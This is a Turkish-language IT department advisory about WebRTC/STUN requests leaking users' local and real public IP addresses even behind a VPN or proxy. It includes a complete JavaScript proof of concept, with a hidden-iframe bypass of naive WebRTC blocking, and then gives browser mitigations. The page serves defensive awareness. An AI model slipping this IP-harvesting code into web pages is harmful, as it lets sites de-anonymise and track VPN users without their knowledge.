Bilgi İşlem Daire Başkanlığı

VPN/Proxy Kullanırken Gerçek IP Adresi Sızıyor

e-Posta Yazdır PDF

Farklı veya aynı web tarayıcıları arasında herhangi bir eklentiye ihtiyaç duymadan sesli arama, video chat ve P2P dosya paylaşımı yapmayı sağlayan WebRTC adlı teknolojinin, Firefox ve Chrome web tarayıcılarından VPN/proxy kullanılsa bile lokal ile gerçek internet IP adreslerini sızdırdığı belirlendi.

 

VPN'de GERÇEK IP ADRESİ NASIL SIZIYOR?

WebRTC'yi destekleyen Firefox ve Google Chrome web tarayıcılarında internete giderken VPN veya proxy sunucu kullanmış olsanız bile tarayıcıların bağlanmış olduğu STUN sunucuları kullanıcının bilgisayarına ait local ve internet servis sağlayıcısından otomatik olarak aldığı gerçek IP adresini olduğu gibi sızdırdığı  bir araştırmacı tarafından ortaya çıkarıldı.

 

"Simple traversal of UDP over NATs" diye bilinen STUN, ses ve video iletişimi için kullanıcının NAT (internete giderken dönüştürülmüş internete çıkış IP'si) adresinin arkasındaki gerçek IP'sini port eşleştirmesi yaparak UDP portlu bağlantılar sağlar. Yani STUN sunucusu NAT'ın tipini ve NAT tarafından belirli bir yerel port ile ilişkilendirilen internet portunu bulmasına olanak sağlar.

 

Ve STUN istekleri normal XMLHttpRequest prosedürünün haricinde/dışında ve görünmeyecek bir biçimde gerçekleşir. Kullanıcıdan çıkan bu istekler geliştirici konsoluna kapalıdır ve ayrıca  AdBlockPlus ve Ghostery gibi eklentilere karşı da kapalıdırlar. Bu yüzden engellenemezler. Bu durumda da başta reklam verenler olmak üzere online kullanıcı takibi yapmak isteyen herkese kullanıcıları VPN kullansalar bile gerçek IP adresleri yoluyla tespit edilmelerini ve sürekli takip edilmelerine olanak sağlar.

 

IP Adresinin nasıl sızdığını görmek için alttaki örnek Javascript kodunu Firefox veya Chrome'da F12 ile gelen konsola yapıştırıp, çalıştırın:

//get the IP addresses associated with an account
function getIPs(callback){
    var ip_dups = {};

    //compatibility for firefox and chrome
    var RTCPeerConnection = window.RTCPeerConnection
        || window.mozRTCPeerConnection
        || window.webkitRTCPeerConnection;

    //bypass naive webrtc blocking
    if (!RTCPeerConnection) {
        var iframe = document.createElement('iframe');
        iframe.style.display = 'none';
        document.body.appendChild(iframe);
        var win = iframe.contentWindow;
        window.RTCPeerConnection = win.RTCPeerConnection;
        window.mozRTCPeerConnection = win.mozRTCPeerConnection;
        window.webkitRTCPeerConnection = win.webkitRTCPeerConnection;
        RTCPeerConnection = window.RTCPeerConnection
            || window.mozRTCPeerConnection
            || window.webkitRTCPeerConnection;
    }

    //minimal requirements for data connection
    var mediaConstraints = {
        optional: [{RtpDataChannels: true}]
    };

    //firefox already has a default stun server in about:config
    //    media.peerconnection.default_iceservers =
    //    [{"url": "stun:stun.services.mozilla.com"}]
    var servers = undefined;

    //add same stun server for chrome
    if(window.webkitRTCPeerConnection)
        servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};

    //construct a new RTCPeerConnection
    var pc = new RTCPeerConnection(servers, mediaConstraints);

    //listen for candidate events
    pc.onicecandidate = function(ice){

        //skip non-candidate events
        if(ice.candidate){

            //match just the IP address
            var ip_regex = /([0-9]{1,3}(.[0-9]{1,3}){3})/
            var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];

            //remove duplicates
            if(ip_dups[ip_addr] === undefined)
                callback(ip_addr);

            ip_dups[ip_addr] = true;
        }
    };

    //create a bogus data channel
    pc.createDataChannel("");

    //create an offer sdp
    pc.createOffer(function(result){

        //trigger the stun server request
        pc.setLocalDescription(result, function(){}, function(){});

    }, function(){});
}

//Test: Print the IP addresses into the console
getIPs(function(ip){console.log(ip);});

 

 

 

Yukarıdaki kodu VPN kullanmadan yapılan ilk çalıştırmada doğrudan local adresiniz afişe olabilmektedir (resmin büyük hali için üzerine tıklayınız):

 

Görüleceği üzere "78.172.195.33" gerçek internet IP'sinin yanında bilgisayara ait "192.168.2.121, 192.168.220.1, 192.168.102.1" local adresler sızmış oldu.

 

VPN kullanarak yapılan denemede ise VPN hattınız sizi gizlemiyor ve yine local IP ile gerçek internet IP adresleriniz birlikte açığa çıkıyor (resmin büyük hali için üzerine tıklayınız):

 

Görüleceği üzere "78.172.195.33" gerçek internet IP'si ile bilgisayara ait "192.168.2.121, 192.168.220.1, 192.168.102.1" local adreslerinin yanında VPN'e ait olan "179.43.147.70" de sızmış oldu. Ayrıca bu testihttps://diafygi.github.io/webrtc-ips/ adresini VPN'li ve VPN'si olarak ziyaret ederek de yapabilirsiniz.

 

Google STUN sunucuları olarak:

  • stun.l.google.com:19302
  • stun1.l.google.com:19302
  • stun2.l.google.com:19302
  • stun3.l.google.com:19302
  • stun4.l.google.com:19302

kullanırken, Mozilla Firefox da stun.services.mozilla.com adresini kullanıyor.

 

VPN veya PROXY KULLANIRKEN GERÇEK IP ADRESİ NASIL SIZDIRILMAZ?

Bu zafiyetten etkilenmemenin en kolay yolu web tarayıcılarında WebRTC'yi tamamen iptal etmekten geçiyor. Önlem olarak alttaki seçeneklerin tümünü uygulayabilirsiniz.

Firefox için:

  • Tarayıcı adres satırında 'about:config' yazın ve 'media.peerconnection.enabled' seçeneğini bulup tıklayarak 'false' hale getirin.
  • 'NoScript' eklentisini kullanın.


Chrome için:

  • 'WebRTC block extension' veya 'ScriptSafe' eklentilerini kullanın.
  • Tarayıcı adres satırında 'chrome://flags/' yazın ve 'WebRTC'yi devre dışı bırak', 'WebRTC donanım video kod çözme özelliğini devre dışı bırak' ve 'WebRTC donanımı video kodlaması desteğini devre dışı bırak' seçeneklerini tıklayın.

 

İnternetin büyük oyuncularından, reklamcılardan ve devletlerden korunmak için VPN kullanırken bile aslında pek güvenli ya da gizli olunmayacağı bu tip ortaya çıkan açıklarla daha iyi öğrenilmiş oluyor.

 

Referanslar: